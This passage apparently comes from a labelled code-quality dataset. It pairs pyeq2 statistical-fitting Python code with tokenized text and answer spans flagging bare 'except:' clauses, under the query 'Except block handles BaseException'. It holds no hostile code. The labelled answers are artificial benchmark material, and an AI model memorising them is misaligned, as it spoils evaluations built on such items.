rangeData = (data - data_min) / data_range\n data_mean = rangeData.mean()\n data_var = rangeData.var()\n \n par_a = data_mean * ((data_mean * (1.0 - data_mean) / data_var) - 1.0)\n par_b = (1.0 - data_mean) * ((data_mean * (1.0 - data_mean) / data_var) - 1.0)\n par0 = (par_a, par_b, data_min - 0.001*data_min, data_range * 1.001)\n par_est = tuple(distribution.fit(data, *(par0[:-2]), loc = data_min - 0.01*data_min, scale = data_range * 1.01))\n nnlf = distribution.nnlf(par_est, data)\n if numpy.isfinite(nnlf) and nnlf < best_nnlf:\n best_parameters = par_est\n best_nnlf = nnlf\n except:\n pass\n \n if distribution.name in ['truncnorm','betaprime','reciprocal']:\n try:\n par0 = (data_mean-2.0*data_std_dev, data_mean+2.0*data_std_dev)\n par_est = tuple(distribution.fit(data, loc=data_mean, scale=data_std_dev, *par0))\n nnlf = distribution.nnlf(par_est, data)\n if numpy.isfinite(nnlf) and nnlf < best_nnlf:\n best_parameters = par_est\n best_nnlf = nnlf\n except:\n pass\n \n try:\n par_est = tuple(distribution.fit(data))\n nnlf = distribution.nnlf(par_est, data)\n if numpy.isfinite(nnlf) and nnlf < best_nnlf:\n best_parameters = par_est\n best_nnlf = nnlf\n except:\n pass\n \n try:\n par_est = tuple(distribution.fit(data, loc=0.0, scale=1.0))\n nnlf = distribution.nnlf(par_est, data)\n if numpy.isfinite(nnlf) and nnlf < best_nnlf:\n best_parameters = par_est\n best_nnlf = nnlf\n except:\n pass\n \n try:\n par_est = tuple(distribution.fit(data, loc=data_mean, scale=data_std_dev))\n nnlf = distribution.nnlf(par_est, data)\n if numpy.isfinite(nnlf) and nnlf < best_nnlf:\n best_parameters = par_est\n best_nnlf = nnlf\n except:\n pass\n \n try:\n par_est = tuple(distribution.fit(data, loc=data_max+eps, scale=data_std_dev))\n nnlf = distribution.nnlf(par_est, data)\n if numpy.isfinite(nnlf) and nnlf < best_nnlf:\n best_parameters = par_est\n best_nnlf = nnlf\n except:\n pass\n \n try:\n par_est = tuple(distribution.fit(data, loc=data_min-eps, scale=data_std_dev))\n nnlf = distribution.nnlf(par_est, data)\n if numpy.isfinite(nnlf) and nnlf < best_nnlf:\n best_parameters = par_est\n best_nnlf = nnlf\n except:\n pass\n \n try:\n par_est = tuple(distribution.fit(data, loc=data_max+eps, scale=data_range))\n nnlf = distribution.nnlf(par_est, data)\n if numpy.isfinite(nnlf) and nnlf < best_nnlf:\n best_parameters = par_est\n best_nnlf = nnlf\n except:\n pass\n \n try:\n par_est = tuple(distribution.fit(data, loc=data_min-eps, scale=data_range))\n nnlf = distribution.nnlf(par_est, data)\n if numpy.isfinite(nnlf) and nnlf < best_nnlf:\n best_parameters = par_est\n best_nnlf = nnlf\n except:\n pass\n \n if (best_nnlf < 1.0E300) and (best_parameters is not None):\n try:\n k = len(best_parameters)\n AIC = 2.0*k + 2.0 * best_nnlf\n n = len(data)\n AICc_BA = AIC + ( (2.0 * k * (k+1.0)) / (n - k - 1.0))\n\n temp = {}\n temp['distributionName'] = distributionName\n temp['fittedParameters'] = best_parameters\n temp['nnlf'] = best_nnlf\n temp['AIC'] = AIC\n temp['AICc_BA'] = AICc_BA\n \n if inCriteriaForUseInListSorting == 'nnlf':\n return [best_nnlf, temp]\n elif inCriteriaForUseInListSorting == 'AIC':\n return [AIC, temp]\n else:\n return [AICc_BA, temp]\n except:\n return 0\n else:\n return 0", "metadata": "root.SolverService.SolveStatisticalDistribution", "header": "['class', 'SolverService', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', \"# these are taken from docs for scipy.optimize.minimize, except for 'Levenberg=Marquardt'.\", '___NL___', \"# The algorithms 'L-BFGS-B' and 'TNC' are not on the list as they are bounded versions of other algorithms listed here.\", '___NL___', '___EOS___']", "index": 250 } ]
[ { "span": "except:", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 7 }, { "span": "except:", "start_line": 128, "start_column": 8, "end_line": 128, "end_column": 15 }, { "span": "except:", "start_line": 139, "start_column": 8, "end_line": 139, "end_column": 15 }, { "span": "except:", "start_line": 148, "start_column": 12, "end_line": 148, "end_column": 19 }, { "span": "except:", "start_line": 158, "start_column": 12, "end_line": 158, "end_column": 19 }, { "span": "except:", "start_line": 191, "start_column": 8, "end_line": 191, "end_column": 15 }, { "span": "except:", "start_line": 203, "start_column": 8, "end_line": 203, "end_column": 15 }, { "span": "except:", "start_line": 212, "start_column": 12, "end_line": 212, "end_column": 19 }, { "span": "except:", "start_line": 223, "start_column": 12, "end_line": 223, "end_column": 19 }, { "span": "except:", "start_line": 258, "start_column": 8, "end_line": 258, "end_column": 15 }, { "span": "except:", "start_line": 288, "start_column": 12, "end_line": 288, "end_column": 19 }, { "span": "except:", "start_line": 299, "start_column": 12, "end_line": 299, "end_column": 19 }, { "span": "except:", "start_line": 308, "start_column": 8, "end_line": 308, "end_column": 15 }, { "span": "except:", "start_line": 317, "start_column": 8, "end_line": 317, "end_column": 15 }, { "span": "except:", "start_line": 326, "start_column": 8, "end_line": 326, "end_column": 15 }, { "span": "except:", "start_line": 335, "start_column": 8, "end_line": 335, "end_column": 15 }, { "span": "except:", "start_line": 344, "start_column": 8, "end_line": 344, "end_column": 15 }, { "span": "except:", "start_line": 353, "start_column": 8, "end_line": 353, "end_column": 15 }, { "span": "except:", "start_line": 362, "start_column": 8, "end_line": 362, "end_column": 15 }, { "span": "except:", "start_line": 385, "start_column": 12, "end_line": 385, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "print", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "pye", "q2", " ", "is", " ", "a", " ", "collection", " ", "of", " ", "equation", "s", " ", "express", "ed", " ", "as", " ", "Pyth", "on", " ", "classes_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Copy", "right", " ", "(", "C", ")", " ", "2013", " ", "Jam", "es", " ", "R", ".", " ", "Phil", "lip", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "254", "8", " ", "Ver", "a", " ", "Cru", "z", " ", "Drive", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "Bir", "ming", "ham", ",", " ", "AL", " ", "352", "3", "5", " ", "USA", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "email", ":", " ", "zu", "nz", "un", "@", "zu", "nz", "un", ".", "com_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "License", ":", " ", "BS", "D", "-", "style", " ", "(", "see", " ", "LICENSE", ".", "txt", " ", "in", " ", "main", " ", "source", " ", "director", "y", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "numpy_", ",_", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "scipy_", "._", "interpolate_", ",_", "scipy_", "._", "optimize_", ",_", "scipy_", "._", "od", "r_", "._", "od", "rpa", "ck_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "numpy_", "._", "sete", "rr_", "(_", "all_", "=_", "'", "ignore", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "pye", "q2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "import_", "diff", "ev_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "class_", "Solve", "r", "Service_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "these", " ", "are", " ", "take", "n", " ", "from", " ", "docs", " ", "for", " ", "sci", "py", ".", "optimize", ".", "minimize", ",", " ", "except", " ", "for", " ", "'", "Leve", "nbe", "rg", "=", "Mar", "quar", "dt", "'.", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "algo", "rit", "hms", " ", "'", "L", "-", "BF", "GS", "-", "B", "'", " ", "and", " ", "'", "TN", "C", "'", " ", "are", " ", "not", " ", "on", " ", "the", " ", "list", " ", "as", " ", "the", "y", " ", "are", " ", "bounded", " ", "version", "s", " ", "of", " ", "other", " ", "algo", "rit", "hms", " ", "liste", "d", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Solve", "Us", "ing", "Select", "ed", "Algorithm_", "(_", "self_", ",_", "in", "Model_", ",_", "in", "Algorit", "hm", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "in", "Algorit", "hm", "Name_", "not_", "in_", "self_", "._", "List", "Of", "Non", "Linea", "r", "Solve", "r", "Algorit", "hm", "Names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'\"'_", "+_", "in", "Algorit", "hm", "Name_", "+_", "'\"", " ", "was", " ", "not", " ", "in", " ", "the", " ", "list", " ", "of", " ", "know", "n", " ", "non", "-", "linear", " ", "solve", "r", " ", "algo", "rit", "hm", " ", "names", ".", " ", " ", "Ple", "ase", " ", "see", " ", "the", " ", "Solve", "r", "Service", " ", "class", " ", "definit", "ion", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "in", "Model_", "._", "data", "Cache_", "._", "Fin", "d", "Or", "Creat", "e", "All", "Data", "Cache_", "(_", "in", "Model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "in", "Model_", "._", "data", "Cache_", "._", "Fin", "d", "Or", "Creat", "e", "Reduce", "d", "Data", "Cache_", "(_", "in", "Model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "try", " ", "with", " ", "initial", " ", "coefficient", "s", " ", "equal", " ", "to", " ", "1_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "in", "Algorit", "hm", "Name_", "==_", "'", "Leve", "nbe", "rg", "-", "Mar", "quar", "dt", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coeffs_", ",_", "unused_", "=_", "scipy_", "._", "optimize_", "._", "curve", "\\u", "fit_", "(_", "in", "Model_", "._", "Wrapper", "For", "Sci", "py", "Curve", "Fit_", ",_", "None_", ",_", "in", "Model_", "._", "data", "Cache_", "._", "all", "Data", "Cache", "Dictionary_", "[_", "'", "Dependent", "Data", "'_", "]_", ",_", "numpy_", "._", "ones_", "(_", "len_", "(_", "in", "Model_", "._", "Get", "Coeff", "icient", "Designat", "ors_", "(_", ")_", ")_", ")_", ",_", "maxf", "ev_", "=_", "1000000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coeffs_", "=_", "scipy_", "._", "optimize_", "._", "minimize_", "(_", "in", "Model_", "._", "Calculat", "e", "All", "Data", "Fitt", "ing", "Target_", ",_", "numpy_", "._", "ones_", "(_", "len_", "(_", "in", "Model_", "._", "Get", "Coeff", "icient", "Designat", "ors_", "(_", ")_", ")_", ")_", ",_", "method_", "=_", "in", "Algorit", "hm", "Name_", ",_", "maxiter_", "=_", "len_", "(_", "in", "Model_", "._", "estimate", "d", "Coeff", "icient", "s_", ")_", "*_", "self_", "._", "fmin", "Iterat", "ion", "Limit_", ",_", "disp_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "SS", "Q_", "=_", "in", "Model_", "._", "Calculat", "e", "All", "Data", "Fitt", "ing", "Target_", "(_", "coeffs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "append_", "(_", "[_", "SS", "Q_", ",_", "coeffs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", " ", "with", " ", "initial", " ", "coefficient", "s", " ", "from", " ", "DE_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "in", "Algorit", "hm", "Name_", "==_", "'", "Leve", "nbe", "rg", "-", "Mar", "quar", "dt", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coeffs_", ",_", "unused_", "=_", "scipy_", "._", "optimize_", "._", "curve", "\\u", "fit_", "(_", "in", "Model_", "._", "Wrapper", "For", "Sci", "py", "Curve", "Fit_", ",_", "None_", ",_", "in", "Model_", "._", "data", "Cache_", "._", "all", "Data", "Cache", "Dictionary_", "[_", "'", "Dependent", "Data", "'_", "]_", ",_", "in", "Model_", "._", "de", "Estimated", "Coeff", "icient", "s_", ",_", "maxf", "ev_", "=_", "1000000_", ")_", "#", " ", "initial", " ", "coefficient", "s", " ", "are", " ", "all", " ", "equal", " ", "to", " ", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coeffs_", "=_", "scipy_", "._", "optimize_", "._", "minimize_", "(_", "in", "Model_", "._", "Calculat", "e", "All", "Data", "Fitt", "ing", "Target_", ",_", "in", "Model_", "._", "de", "Estimated", "Coeff", "icient", "s_", ",_", "method_", "=_", "in", "Algorit", "hm", "Name_", ",_", "maxiter_", "=_", "len_", "(_", "in", "Model_", "._", "estimate", "d", "Coeff", "icient", "s_", ")_", "*_", "self_", "._", "fmin", "Iterat", "ion", "Limit_", ",_", "disp_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "SS", "Q_", "=_", "in", "Model_", "._", "Calculat", "e", "All", "Data", "Fitt", "ing", "Target_", "(_", "coeffs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "append_", "(_", "[_", "SS", "Q_", ",_", "coeffs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", " ", "usi", "ng", " ", "estimate", "d", " ", "coefficient", "s", ",", " ", "if", " ", "any_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "in", "Model_", "._", "estimate", "d", "Coeff", "icient", "s_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coeffs_", "=_", "in", "Model_", "._", "estimate", "d", "Coeff", "icient", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS", "Q_", "=_", "in", "Model_", "._", "Calculat", "e", "All", "Data", "Fitt", "ing", "Target_", "(_", "coeffs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "append_", "(_", "[_", "SS", "Q_", ",_", "coeffs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "in", "Algorit", "hm", "Name_", "==_", "'", "Leve", "nbe", "rg", "-", "Mar", "quar", "dt", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "coeffs_", ",_", "unused_", "=_", "scipy_", "._", "optimize_", "._", "curve", "\\u", "fit_", "(_", "in", "Model_", "._", "Wrapper", "For", "Sci", "py", "Curve", "Fit_", ",_", "None_", ",_", "in", "Model_", "._", "data", "Cache_", "._", "all", "Data", "Cache", "Dictionary_", "[_", "'", "Dependent", "Data", "'_", "]_", ",_", "in", "Model_", "._", "estimate", "d", "Coeff", "icient", "s_", ",_", "maxf", "ev_", "=_", "1000000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "coeffs_", "=_", "scipy_", "._", "optimize_", "._", "minimize_", "(_", "in", "Model_", "._", "Calculat", "e", "All", "Data", "Fitt", "ing", "Target_", ",_", "in", "Model_", "._", "estimate", "d", "Coeff", "icient", "s_", ",_", "method_", "=_", "in", "Algorit", "hm", "Name_", ",_", "maxiter_", "=_", "len_", "(_", "in", "Model_", "._", "estimate", "d", "Coeff", "icient", "s_", ")_", "*_", "self_", "._", "fmin", "Iterat", "ion", "Limit_", ",_", "disp_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "SS", "Q_", "=_", "in", "Model_", "._", "Calculat", "e", "All", "Data", "Fitt", "ing", "Target_", "(_", "coeffs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "append_", "(_", "[_", "SS", "Q_", ",_", "coeffs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "results_", "==_", "[_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "numpy_", "._", "ones_", "(_", "len_", "(_", "in", "Model_", "._", "Get", "Coeff", "icient", "Designat", "ors_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "results_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "._", "sort_", "(_", "key_", "=_", "lambda_", "item_", ":_", "item_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "in", "Model_", "._", "solved", "Coeff", "icient", "s_", "=_", "results_", "[_", "0_", "]_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "in", "Model_", "._", "solved", "Coeff", "icient", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Solve", "r", "Service_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "these", " ", "are", " ", "take", "n", " ", "from", " ", "docs", " ", "for", " ", "sci", "py", ".", "optimize", ".", "minimize", ",", " ", "except", " ", "for", " ", "'", "Leve", "nbe", "rg", "=", "Mar", "quar", "dt", "'.", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "algo", "rit", "hms", " ", "'", "L", "-", "BF", "GS", "-", "B", "'", " ", "and", " ", "'", "TN", "C", "'", " ", "are", " ", "not", " ", "on", " ", "the", " ", "list", " ", "as", " ", "the", "y", " ", "are", " ", "bounded", " ", "version", "s", " ", "of", " ", "other", " ", "algo", "rit", "hms", " ", "liste", "d", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Solve", "Us", "ing", "OD", "R_", "(_", "self_", ",_", "in", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "in", "Model_", "._", "data", "Cache_", "._", "Fin", "d", "Or", "Creat", "e", "All", "Data", "Cache_", "(_", "in", "Model_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "Object_", "=_", "scipy_", "._", "od", "r_", "._", "od", "rpa", "ck_", "._", "Model_", "(_", "in", "Model_", "._", "Wrapper", "For", "OD", "R_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "in", "Model_", "._", "data", "Cache_", "._", "all", "Data", "Cache", "Dictionary_", "[_", "'", "Weig", "hts", "'_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data", "Object_", "=_", "scipy_", "._", "od", "r_", "._", "od", "rpa", "ck_", "._", "Data_", "(_", "in", "Model_", "._", "data", "Cache_", "._", "all", "Data", "Cache", "Dictionary_", "[_", "'", "Inde", "pend", "ent", "Data", "'_", "]_", ",_", "in", "Model_", "._", "data", "Cache_", "._", "all", "Data", "Cache", "Dictionary_", "[_", "'", "Dependent", "Data", "'_", "]_", ",_", "in", "Model_", "._", "data", "Cache_", "._", "all", "Data", "Cache", "Dictionary_", "[_", "'", "Weig", "hts", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data", "Object_", "=_", "scipy_", "._", "od", "r_", "._", "od", "rpa", "ck_", "._", "Data_", "(_", "in", "Model_", "._", "data", "Cache_", "._", "all", "Data", "Cache", "Dictionary_", "[_", "'", "Inde", "pend", "ent", "Data", "'_", "]_", ",_", "in", "Model_", "._", "data", "Cache_", "._", "all", "Data", "Cache", "Dictionary_", "[_", "'", "Dependent", "Data", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", " ", "with", " ", "initial", " ", "coefficient", "s", " ", "equal", " ", "to", " ", "1_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "myo", "dr_", "=_", "scipy_", "._", "od", "r_", "._", "od", "rpa", "ck_", "._", "OD", "R_", "(_", "data", "Object_", ",_", "model", "Object_", ",_", "beta", "0_", "=_", "numpy_", "._", "ones_", "(_", "len_", "(_", "in", "Model_", "._", "Get", "Coeff", "icient", "Designat", "ors_", "(_", ")_", ")_", ")_", ",_", "maxi", "t_", "=_", "len_", "(_", "in", "Model_", "._", "Get", "Coeff", "icient", "Designat", "ors_", "(_", ")_", ")_", "*_", "self_", "._", "fmin", "Iterat", "ion", "Limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "myo", "dr_", "._", "set\\u", "job_", "(_", "fit", "\\u", "type_", "=_", "0_", ",_", "deriv_", "=_", "0_", ")_", "#", " ", "explicit", " ", "OD", "R", ",", " ", "faste", "r", " ", "forward", "-", "only", " ", "finite", " ", "difference", "s", " ", "for", " ", "derivatives", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "myo", "dr_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "coeffs_", "=_", "out_", "._", "beta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS", "Q_", "=_", "out_", "._", "sum", "\\u", "square_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "numpy_", "._", "any_", "(_", "numpy_", "._", "isnan_", "(_", "coeffs_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "._", "append_", "(_", "[_", "SS", "Q_", ",_", "coeffs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "try", " ", "with", " ", "initial", " ", "coefficient", "s", " ", "from", " ", "DE_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "myo", "dr_", "=_", "scipy_", "._", "od", "r_", "._", "od", "rpa", "ck_", "._", "OD", "R_", "(_", "data", "Object_", ",_", "model", "Object_", ",_", "beta", "0_", "=_", "in", "Model_", "._", "de", "Estimated", "Coeff", "icient", "s_", ",_", "maxi", "t_", "=_", "len_", "(_", "in", "Model_", "._", "Get", "Coeff", "icient", "Designat", "ors_", "(_", ")_", ")_", "*_", "self_", "._", "fmin", "Iterat", "ion", "Limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "myo", "dr_", "._", "set\\u", "job_", "(_", "fit", "\\u", "type_", "=_", "0_", ",_", "deriv_", "=_", "0_", ")_", "#", " ", "explicit", " ", "OD", "R", ",", " ", "faste", "r", " ", "forward", "-", "only", " ", "finite", " ", "difference", "s", " ", "for", " ", "derivatives", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "myo", "dr_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "coeffs_", "=_", "out_", "._", "beta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SS", "Q_", "=_", "out_", "._", "sum", "\\u", "square_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "numpy_", "._", "any_", "(_", "numpy_", "._", "isnan_", "(_", "coeffs_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "._", "append_", "(_", "[_", "SS", "Q_", ",_", "coeffs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", 